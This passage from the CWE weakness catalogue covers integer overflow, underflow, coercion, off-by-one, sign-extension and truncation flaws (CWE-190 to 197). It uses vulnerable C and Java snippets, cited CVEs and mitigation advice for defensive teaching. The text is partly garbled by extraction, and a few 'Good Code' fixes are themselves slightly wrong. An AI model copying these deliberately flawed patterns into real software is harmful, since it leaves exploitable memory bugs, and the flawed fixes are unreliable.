Binary Weakness Analysis - including disassembler + source code weakness analysis

Dynamic Analysis with manual results interpretation

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Manual Static Analysis - Source Code

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Architecture / Design Review

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

Example 1:

The following image processing code allocates a table for images.

C Example:

Bad Code

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size `num_imgs`, however as `num_imgs` grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were `num_imgs` long, it may result in many types of out-of-bounds problems (CWE-119).

Example 2:

The following code excerpt from OpenSSH 3.3 demonstrates a classic case of integer overflow:

C Example:

Bad Code

```
nresp = packet_get_int();
if (nresp > 0) {
    response = xmalloc(nresp*sizeof(char*));
    for (i = 0; i < nresp; i++) response[i] = packet_get_string(NULL);
}
```

If `nresp` has the value 1073741824 and `sizeof(char*)` has its typical value of 4, then the result of the operation `nresp*sizeof(char*)` overflows, and the argument to `xmalloc()` will be 0. Most `malloc()` implementations will happily allocate a 0-byte buffer, causing the subsequent loop iterations to overflow the heap buffer response.

Example 3:

Integer overflows can be complicated and difficult to detect. The following example is an attempt to show how an integer overflow may lead to undefined looping behavior:

C Example:

Bad Code

```
short int bytesRec = 0;
char buf[SOMEBIGNUM];
while(bytesRec < MAXGET) {
    bytesRec += getFromInput(buf+bytesRec);
}
```

In the above case, it is entirely possible that `bytesRec` may overflow, continuously creating a lower number than `MAXGET` and also overwriting the first `MAXGET-1` bytes of `buf`.

Example 4:

In this example the method `determineFirstQuarterRevenue` is used to determine the first quarter revenue for an accounting/business application. The method retrieves the monthly sales totals for the first three months of the year, calculates the first quarter sales totals from the monthly sales totals, calculates the first quarter revenue based on the first quarter sales, and finally saves the first quarter revenue results to the database.

C Example:

Bad Code

```
#define JAN 1
#define FEB 2
#define MAR 3
short getMonthlySales(int month) {...}
float calculateRevenueForQuarter(short quarterSold) {...}
int determineFirstQuarterRevenue() {
    // Variable for sales revenue for the quarter
    float quarterRevenue = 0.0f;
    short JanSold = getMonthlySales(JAN); /* Get sales in January */
    short FebSold = getMonthlySales(FEB); /* Get sales in February */
    short MarSold = getMonthlySales(MAR); /* Get sales in March */
    // Calculate quarterly total
```

```

short quarterSold = JanSold + FebSold + MarSold;
// Calculate the total revenue for the quarter
quarterRevenue = calculateRevenueForQuarter(quarterSold);
saveFirstQuarterRevenue(quarterRevenue);
return 0;
}

```

However, in this example the primitive type short int is used for both the monthly and the quarterly sales variables. In C the short int primitive type has a maximum value of 32768. This creates a potential integer overflow if the value for the three monthly sales adds up to more than the maximum value for the short int primitive type. An integer overflow can lead to data corruption, unexpected behavior, infinite loops and system crashes. To correct the situation the appropriate primitive type should be used, as in the example below, and/or provide some validation mechanism to ensure that the maximum value for the primitive type is not exceeded.

C Example:*Good Code*

```

...
float calculateRevenueForQuarter(long quarterSold) {...}
int determineFirstQuarterRevenue() {
...
// Calculate quarterly total
long quarterSold = JanSold + FebSold + MarSold;
// Calculate the total revenue for the quarter
quarterRevenue = calculateRevenueForQuarter(quarterSold);
...
}

```

Note that an integer overflow could also occur if the quarterSold variable has a primitive type long but the method calculateRevenueForQuarter has a parameter of type short.

Observed Examples

Reference	Description
CVE-2002-0391	Integer overflow via a large number of arguments.
CVE-2002-0639	Integer overflow in OpenSSH as listed in the demonstrative examples.
CVE-2004-2013	Length value of -1 leads to allocation of 0 bytes and resultant heap overflow.
CVE-2005-0102	Length value of -1 leads to allocation of 0 bytes and resultant heap overflow.
CVE-2005-1141	Image with large width and height leads to integer overflow.
CVE-2010-2753	chain: integer overflow leads to use-after-free
CVE-2017-100012	chain: unchecked message size metadata allows integer overflow (CWE-190) leading to buffer overflow (CWE-119).

Potential Mitigations**Requirements**

Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.

Requirements**Language Selection**

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

If possible, choose a language or compiler that performs automatic bounds checking.

Architecture and Design**Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Use libraries or frameworks that make it easier to handle numbers without unexpected consequences.

Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [R.190.5]

Implementation

Input Validation

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

Use unsigned integers where possible. This makes it easier to perform sanity checks for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.

Implementation

Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [R.190.3]

Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Implementation

Compilation or Build Hardening

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

CWE-191: Integer Underflow (Wrap or Wraparound)

Weakness ID: 191 (Weakness Base)

Status: Draft

Description

Summary

The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result.

Extended Description

This can happen in signed and unsigned cases.

Alternate Terms

Integer underflow

"Integer underflow" is sometimes used to identify signedness errors in which an originally positive number becomes negative as a result of subtraction. However, there are cases of bad subtraction in which unsigned integers are involved, so it's not always a signedness issue.

"Integer underflow" is occasionally used to describe array index errors in which the index is negative.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- C
- C++
- Java
- .NET

Common Consequences**Availability**

DoS: crash / exit / restart

DoS: resource consumption (CPU)

DoS: resource consumption (memory)

DoS: instability

This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.

Integrity**Modify memory**

If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.

Confidentiality**Availability****Access Control****Execute unauthorized code or commands****Bypass protection mechanism**

This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.

Demonstrative Examples

The following example subtracts from a 32 bit signed integer.

C Example:*Bad Code*

```
#include <stdio.h>
#include <stdbool.h>
main (void)
{
    int i;
    i = -2147483648;
    i = i - 1;
    return 0;
}
```

The example has an integer underflow. The value of *i* is already at the lowest negative value possible, so after subtracting 1, the new value of *i* is 2147483647.

Observed Examples

Reference	Description
CVE-2004-0816	Integer underflow in firewall via malformed packet.
CVE-2004-1002	Integer underflow by packet with invalid length.
CVE-2005-0199	Long input causes incorrect length calculation.
CVE-2005-1891	Malformed icon causes integer underflow in loop counter variable.

CWE-192: Integer Coercion Error

Weakness ID: 192 (*Weakness Class*)

Status: Incomplete

Description

Summary

Integer coercion refers to a set of flaws pertaining to the type casting, extension, or truncation of primitive data types.

Extended Description

Several flaws fall under the category of integer coercion errors. For the most part, these errors in and of themselves result only in availability and data integrity issues. However, in some circumstances, they may result in other, more complicated security related flaws, such as buffer overflow conditions.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++
- Java
- .NET

Common Consequences

Availability

DoS: resource consumption (CPU)

DoS: resource consumption (memory)

DoS: crash / exit / restart

Integer coercion often leads to undefined states of execution resulting in infinite loops or crashes.

Integrity

Confidentiality

Availability

Execute unauthorized code or commands

In some cases, integer coercion errors can lead to exploitable buffer overflow conditions, resulting in the execution of arbitrary code.

Integrity**Other****Other**

Integer coercion errors result in an incorrect value being stored for the variable in question.

Likelihood of Exploit

Medium

Demonstrative Examples**Example 1:**

The following code is intended to read an incoming packet from a socket and extract one or more headers.

C Example:

Bad Code

```
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader));
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

Example 2:

The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

C Example:

Bad Code

```
int GetUntrustedInt () {
    return(0x0000FFFF);
}
void main (int argc, char **argv) {
    char path[256];
    char *input;
    int i;
    short s;
    unsigned int sz;
    i = GetUntrustedInt();
    s = i;
    /* s is -1 so it passes the safety check - CWE-697 */
    if (s > 256) {
        DiePainfully("go away!\n");
    }
    /* s is sign-extended and saved in sz */
    sz = s;
    /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
    printf("i=%d, s=%d, sz=%u\n", i, s, sz);
    input = GetUserInput("Enter pathname:");
    /* strncpy interprets s as unsigned int, so it's treated as MAX_INT
    (CWE-195), enabling buffer overflow (CWE-119) */
```

```
strncpy(path, input, s);
path[255] = '\0'; /* don't want CWE-170 */
printf("Path is: %s\n", path);
}
```

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

Potential Mitigations

Requirements

A language which throws exceptions on ambiguous data casts might be chosen.

Architecture and Design

Design objects and program flow such that multiple or complex casts are unnecessary

Implementation

Ensure that any data type casting that you must use is entirely understood in order to reduce the plausibility of error in use.

CERT C Secure Coding	INT05-C		Do not use input functions to convert character data if they cannot handle all possible inputs
CERT C Secure Coding	INT31-C	Exact	Ensure that integer conversions do not result in lost or misinterpreted data

References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 7: Integer Overflows." Page 119. McGraw-Hill. 2010.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Sign Extension", Page 248.. 1st Edition. Addison Wesley. 2006.

Maintenance Notes

Within C, it might be that "coercion" is semantically different than "casting", possibly depending on whether the programmer directly specifies the conversion, or if the compiler does it implicitly. This has implications for the presentation of this node and others, such as CWE-681, and whether there is enough of a difference for these nodes to be split.

CWE-193: Off-by-one Error

Weakness ID: 193 (*Weakness Base*)

Status: Draft

Description

Summary

A product calculates or uses an incorrect maximum or minimum value that is 1 more, or 1 less, than the correct value.

Alternate Terms

off-by-five

An "off-by-five" error was reported for sudo in 2002 (CVE-2002-0184), but that is more like a "length calculation" error.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- Language-Independent

Common Consequences**Availability**

DoS: crash / exit / restart

DoS: resource consumption (CPU)

DoS: resource consumption (memory)

DoS: instability

This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.

Integrity**Modify memory**

If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.

Confidentiality**Availability****Access Control**

Execute unauthorized code or commands

Bypass protection mechanism

This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.

Demonstrative Examples**Example 1:**

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using `InitializeWidget()`. Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

C Example:*Bad Code*

```
int i;
unsigned int numWidgets;
Widget **WidgetList;
numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
    ExitError("Incorrect number of widgets requested!");
}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {
    WidgetList[i] = InitializeWidget();
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);
```

However, this code contains an off-by-one calculation error. It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests `MAX_NUM_WIDGETS`, there is an off-by-one buffer overflow when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

Example 2:

The following C/C++ example demonstrates the Off-by-one error in the main method of a pattern matching utility that looks for a specific pattern within a specific file. The main method uses the string copy method, `strncpy`, to copy the command line user input file name and pattern to the `Filename` and `Pattern` character arrays respectively.

C Example:

Bad Code

```
int main(int argc, char **argv)
{
    char Filename[256];
    char Pattern[32];
    /* Validate number of parameters and ensure valid content */
    ...
    /* copy filename parameter to variable, may cause off-by-one overflow */
    strncpy(Filename, argv[1], sizeof(Filename));
    /* copy pattern parameter to variable, may cause off-by-one overflow */
    strncpy(Pattern, argv[2], sizeof(Pattern));
    printf("Searching file: %s for the pattern: %s\n", Filename, Pattern);
    Scan_File(Filename, Pattern);
}
```

However, the calls to `strncpy` use the `sizeof` method call for the size parameter that does not take into account that the `strncpy` will add a null terminator to each character array. Therefore if a user enters a filename or pattern that are the same size as (or larger than) their respective character arrays a null terminator will be added beyond the end of the buffer for the character arrays creating an off-by-one buffer overflow. In addition to creating a buffer overflow that may cause a memory address to be overwritten, if the character arrays are output to the user through the `printf` method the memory addresses at the overflow location may be output to the user.

To fix this problem, be sure to subtract 1 from the `sizeof()` call to allow room for the null byte to be added.

C Example:

Good Code

```
/* copy filename parameter to variable, no off-by-one overflow */
strncpy(Filename, argv[2], sizeof(Filename)-1);
/* copy pattern parameter to variable, no off-by-one overflow */
strncpy(Pattern, argv[3], sizeof(Pattern)-1);
```

Example 3:

Similarly, this example uses the `strncat` and `sprintf` functions incorrectly. The code does not account for the null character that is added by the second `strncat` function call, one byte beyond the end of the name buffer.

C Example:

Bad Code

```
char lastname[20];
char firstname[20];
char name[40];
char fullname[40];
strncat(name, firstname, sizeof(name));
strncat(name, lastname, sizeof(name));
sprintf(fullname, sizeof(fullname), "%s", name);
```

By leaving a free byte at the end of the buffers for a null character to be added, the off-by-one weakness is avoided.

C Example:

Good Code

```
char lastname[20];
char firstname[20];
char name[40];
char fullname[40];
strncat(name, firstname, sizeof(name)-1);
strncat(name, lastname, sizeof(name)-1);
sprintf(fullname, sizeof(fullname), "%s", name);
```

Example 4:

The Off-by-one error can also be manifested when reading characters from a character array within a for loop that has an incorrect continuation condition.

C Example:

Bad Code

```
#define PATH_SIZE 60
char filename[PATH_SIZE];
for(i=0; i<=PATH_SIZE; i++) {
  char c = getc();
  if (c == 'EOF') {
    filename[i] = '\0';
  }
  filename[i] = getc();
}
```

In this case, the correct continuation condition is shown below.

C Example:

Good Code

```
for(i=0; i<PATH_SIZE; i++) {
  ...
}
```

Example 5:

As another example the Off-by-one error can occur when using the sprintf library function to copy a string variable to a formatted string variable and the original string variable comes from an untrusted source. As in the following example where a local function, setFilename is used to store the value of a filename to a database but first uses sprintf to format the filename. The setFilename function includes an input parameter with the name of the file that is used as the copy source in the sprintf function. The sprintf function will copy the file name to a char array of size 20 and specifies the format of the new variable as 16 characters followed by the file extension .dat.

C Example:

Bad Code

```
int setFilename(char *filename) {
  char name[20];
  sprintf(name, "%16s.dat", filename);
  int success = saveFormattedFilenameToDB(name);
  return success;
}
```

However this will cause an Off-by-one error if the original filename is exactly 16 characters or larger because the format of 16 characters with the file extension is exactly 20 characters and does not take into account the required null terminator that will be placed at the end of the string.

Observed Examples

Reference	Description
CVE-1999-1568	Off-by-one error in FTP server allows a remote attacker to cause a denial of service (crash) via a long PORT command.
CVE-2001-0609	An off-by-one enables a terminating null to be overwritten, which causes 2 strings to be merged and enable a format string.
CVE-2001-1391	Off-by-one vulnerability in driver allows users to modify kernel memory.
CVE-2001-1496	Off-by-one buffer overflow in server allows remote attackers to cause a denial of service and possibly execute arbitrary code.
CVE-2002-0083	Off-by-one error allows local users or remote malicious servers to gain privileges.
CVE-2002-0653	Off-by-one buffer overflow in function used by server allows local users to execute arbitrary code as the server user via .htaccess files with long entries.
CVE-2002-0844	Off-by-one buffer overflow in version control system allows local users to execute arbitrary code.
CVE-2002-1721	Off-by-one error causes an sprintf call to overwrite a critical internal variable with a null value.
CVE-2002-1745	Off-by-one error allows source code disclosure of files with 4 letter extensions that match an accepted 3-letter extension.
CVE-2002-1816	Off-by-one buffer overflow.
CVE-2003-0252	Off-by-one error allows remote attackers to cause a denial of service and possibly execute arbitrary code via requests that do not contain newlines.
CVE-2003-0356	Multiple off-by-one vulnerabilities in product allow remote attackers to cause a denial of service and possibly execute arbitrary code.

Reference	Description
CVE-2003-0466	Off-by-one error in function used in many products leads to a buffer overflow during pathname management, as demonstrated using multiple commands in an FTP server.
CVE-2003-0625	Off-by-one error allows read of sensitive memory via a malformed request.
CVE-2004-0005	Multiple buffer overflows in chat client allow remote attackers to cause a denial of service and possibly execute arbitrary code.
CVE-2004-0342	This is an interesting example that might not be an off-by-one.
CVE-2004-0346	Off-by-one buffer overflow in FTP server allows local users to gain privileges via a 1024 byte RETR command.
CVE-2006-4574	Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion.

Potential Mitigations

Implementation

When copying character arrays or using character manipulation methods, the correct size parameter must be used to account for the null terminator that needs to be added at the end of the array. Some examples of functions susceptible to this weakness in C include `strcpy()`, `strncpy()`, `strcat()`, `strncat()`, `printf()`, `sprintf()`, `scanf()` and `sscanf()`.

Relationships

Nature	Type	ID	Name	ⓧ	Page

ChildOf	ⓐ	977	SFP Secondary Cluster: Design	888	1371
MemberOf	ⓧ	<i>884</i>	<i>CWE Cross-section</i>	<i>884</i>	<i>1306</i>

Relationship Notes

This is not always a buffer overflow. For example, an off-by-one error could be a factor in a partial comparison, a read from the wrong memory location, an incorrect conditional, etc.

Research Gaps

Under-studied. It requires careful code analysis or black box testing, where inputs of excessive length might not cause an error. Off-by-ones are likely triggered by extensive fuzzing, with the attendant diagnostic problems.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Off-by-one Error
CERT C Secure Coding	STR31-C	Guarantee that storage for strings has sufficient space for character data and the null terminator

CWE-194: Unexpected Sign Extension

Weakness ID: 194 (Weakness Base)

Status: Incomplete

Description

Summary

The software performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Integrity

Confidentiality

Availability

Other

Read memory

Modify memory

Other

When an unexpected sign extension occurs in code that operates directly on memory buffers, such as a size value or a memory index, then it could cause the program to write or read outside the boundaries of the intended buffer. If the numeric value is associated with an application-level resource, such as a quantity or price for a product in an e-commerce site, then the sign extension could produce a value that is much higher (or lower) than the application's allowable range.

Likelihood of Exploit

High

Demonstrative Examples

The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

C Example:

Bad Code

```
int GetUntrustedInt () {
    return(0x0000FFFF);
}

void main (int argc, char **argv) {
    char path[256];
    char *input;
    int i;
    short s;
    unsigned int sz;
    i = GetUntrustedInt();
    s = i;
    /* s is -1 so it passes the safety check - CWE-697 */
    if (s > 256) {
        DiePainfully("go away!\n");
    }
    /* s is sign-extended and saved in sz */
    sz = s;
    /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
```

```

printf("i=%d, s=%d, sz=%u\n", i, s, sz);
input = GetUserInput("Enter pathname:");
/* strncpy interprets s as unsigned int, so it's treated as MAX_INT
(CWE-195), enabling buffer overflow (CWE-119) */
strncpy(path, input, s);
path[255] = '\0'; /* don't want CWE-170 */
printf("Path is: %s\n", path);
}

```

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by `strncpy()` it will lead to a buffer overflow (CWE-119).

Observed Examples

Reference	Description
CVE-1999-0234	Sign extension error produces -1 value that is treated as a command separator, enabling OS command injection.
CVE-2003-0161	Product uses "char" type for input character. When char is implemented as a signed type, ASCII value 0xFF (255), a sign extension produces a -1 value that is treated as a program-specific separator value, effectively disabling a length check and leading to a buffer overflow. This is also a multiple interpretation error.
CVE-2005-2753	Sign extension when manipulating Pascal-style strings leads to integer overflow and improper memory copy.
CVE-2006-1834	chain: signedness error allows bypass of a length check; later sign extension makes exploitation easier.
CVE-2007-4988	chain: signed short width value in image processor is sign extended during conversion to unsigned int, which leads to integer overflow and heap-based buffer overflow.

Potential Mitigations

Implementation

Avoid using signed variables if you don't need to represent negative values. When negative values are needed, perform sanity checks after you save those values to larger data types, or before passing them to functions that are expecting unsigned values.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		681	Incorrect Conversion between Numeric Types	699	1038
ChildOf		998	SFP Secondary Cluster: Glitch in Computation	888	1381
CanAlsoBe		197	<i>Numeric Truncation Error</i>	1000	372

Relationship Notes

Sign extension errors can lead to buffer overflows and other memory-based problems. They are also likely to be factors in other weaknesses that are not based on memory operations, but rely on numeric calculation.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name

Maintenance Notes

This entry is closely associated with signed-to-unsigned conversion errors (CWE-195) and other numeric errors. These relationships need to be more closely examined within CWE.

CWE-195: Signed to Unsigned Conversion Error

Weakness ID: 195 (Weakness Variant)

Status: Draft

Description

Summary

The software uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive.

Extended Description

It is dangerous to rely on implicit casts between signed and unsigned numbers because the result can take on an unexpected value and violate assumptions made by the program.

Often, functions will return negative values to indicate a failure. When the result of a function is to be used as a size parameter, using these negative return values can have unexpected results. For example, if negative size values are passed to the standard memory copy or allocation functions they will be implicitly cast to a large unsigned value. This may lead to an exploitable buffer overflow or underflow condition.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Integrity

Unexpected state

Conversion between signed and unsigned values can lead to a variety of errors, but from a security standpoint is most commonly associated with integer overflow and buffer overflow vulnerabilities.

Demonstrative Examples

Example 1:

In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.

C Example:

Bad Code

```
unsigned int readdata () {
    int amount = 0;
    ...
    if (result == ERROR)
        amount = -1;
    ...
    return amount;
}
```

If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Example 2:

In this example, depending on the return value of accessmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.

C Example:

Bad Code

```
unsigned int readdata () {
    int amount = 0;
    ...
    amount = accessmainframe();
    ...
    return amount;
}
```

If the return value of `accessmainframe()` is `-1`, then the return value of `readdata()` will be `4,294,967,295` on a system that uses 32-bit integers.

Example 3:

The following code is intended to read an incoming packet from a socket and extract one or more headers.

C Example:

Bad Code

```
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader));
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, `numHeaders` is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as `-3`, then the `malloc` calculation will generate a negative number (say, `-300` if each header can be a maximum of 100 bytes). When this result is provided to `malloc()`, it is first converted to a `size_t` type. This conversion then produces a large value such as `4294966996`, which may cause `malloc()` to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick `malloc()` into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

Example 4:

This example processes user input comprised of a series of variable-length structures. The first 2 bytes of input dictate the size of the structure to be processed.

C Example:

Bad Code

```
char* processNext(char* strm) {
    char buf[512];
    short len = *(short*) strm;
    strm += sizeof(len);
    if (len <= 512) {
        memcpy(buf, strm, len);
        process(buf);
        return strm + len;
    }
    else {
        return -1;
    }
}
```

The programmer has set an upper bound on the structure size: if it is larger than 512, the input will not be processed. The problem is that `len` is a signed short, so the check against the maximum structure length is done with signed values, but `len` is converted to an unsigned integer for the call to `memcpy()` and the negative bit will be extended to result in a huge value for the unsigned integer. If `len` is negative, then it will appear that the structure has an appropriate size (the `if` branch will be taken), but the amount of memory copied by `memcpy()` will be quite large, and the attacker will be able to overflow the stack with data in `strm`.

Example 5:

In the following example, it is possible to request that `memcpy` move a much larger segment of memory than assumed:

C Example:

Bad Code

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
    * else, return -1 to indicate an error
```

```

*/
...
}
int main() {
...
memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
...
}

```

If `returnChunkSize()` happens to encounter an error it will return `-1`. Notice that the return value is not checked before the `memcpy` operation (CWE-252), so `-1` can be passed as the size argument to `memcpy()` (CWE-805). Because `memcpy()` assumes that the value is unsigned, it will be interpreted as `MAXINT-1` (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Observed Examples

CWE-196: Unsigned to Signed Conversion Error

Weakness ID: 196 (*Weakness Variant*)

Status: Draft

Description

Summary

The software uses an unsigned primitive and performs a cast to a signed primitive, which can produce an unexpected value if the value of the unsigned primitive can not be represented using a signed primitive.

Extended Description

Although less frequent an issue than signed-to-unsigned conversion, unsigned-to-signed conversion can be the perfect precursor to dangerous buffer underwrite conditions that allow attackers to move down the stack where they otherwise might not have access in a normal buffer overflow condition. Buffer underwrites occur frequently when large unsigned values are cast to signed values, and then used as indexes into a buffer or for pointer arithmetic.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C

- C++

Common Consequences

Availability

DoS: crash / exit / restart

Incorrect sign conversions generally lead to undefined behavior, and therefore crashes.

Integrity

Modify memory

If a poor cast lead to a buffer overflow or similar condition, data integrity may be affected.

Integrity

Confidentiality

Availability

Access Control

Execute unauthorized code or commands

Bypass protection mechanism

Improper signed-to-unsigned conversions without proper checking can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.

Likelihood of Exploit

Medium

Potential Mitigations

Requirements

Choose a language which is not subject to these casting flaws.

Architecture and Design

Design object accessor functions to implicitly check values for valid sizes. Ensure that all functions which will be used as a size are checked previous to use as a size. If the language permits, throw exceptions rather than using in-band errors.

Implementation

Error check the return values of all functions. Be aware of implicit casts made, and use unsigned variables for sizes if at all possible.

CWE-197: Numeric Truncation Error

Weakness ID: 197 (Weakness Base)

Status: Incomplete

Description

Summary

Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion.

Extended Description

When a primitive is cast to a smaller primitive, the high order bits of the large value are lost in the conversion, potentially resulting in an unexpected value that is not equal to the original value. This value may be required as an index into a buffer, a loop iterator, or simply necessary state data. In any case, the value cannot be trusted and the system will be in an undefined state. While this method may be employed viably to isolate the low bits of a value, this usage is rare, and truncation usually implies that an implementation error has occurred.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++
- Java
- .NET

Common Consequences

Integrity

Modify memory

The true value of the data is lost and corrupted data is used.

Likelihood of Exploit

Low

Demonstrative Examples

Example 1:

This example, while not exploitable, shows the possible mangling of values associated with truncation errors:

C Example:

Bad Code

```
int intPrimitive;
short shortPrimitive;
intPrimitive = (int)(~((int)0) ^ (1 << (sizeof(int)*8-1)));
shortPrimitive = intPrimitive;
printf("Int MAXINT: %d\nShort MAXINT: %d\n", intPrimitive, shortPrimitive);
```

The above code, when compiled and run on certain systems, returns the following output:

Result

```
Int MAXINT: 2147483647
Short MAXINT: -1
```

This problem may be exploitable when the truncated value is used as an array index, which can happen implicitly when 64-bit values are used as indexes, as they are truncated to 32 bits.

Example 2:

In the following Java example, the method `updateSalesForProduct` is part of a business application class that updates the sales information for a particular product. The method receives as arguments the product ID and the integer amount sold. The product ID is used to retrieve the total product count from an inventory object which returns the count as an integer. Before calling the method of the sales object to update the sales count the integer values are converted to the primitive type `short` since the method requires short type for the method arguments.

Java Example:

Bad Code

```
...
// update sales database for number of product sold with product ID
public void updateSalesForProduct(String productID, int amountSold) {
    // get the total number of products in inventory database
    int productCount = inventory.getProductCount(productID);
```

```

// convert integer values to short, the method for the
// sales object requires the parameters to be of type short
short count = (short) productCount;
short sold = (short) amountSold;
// update sales database for product
sales.updateSalesCount(productID, count, sold);
}
...

```

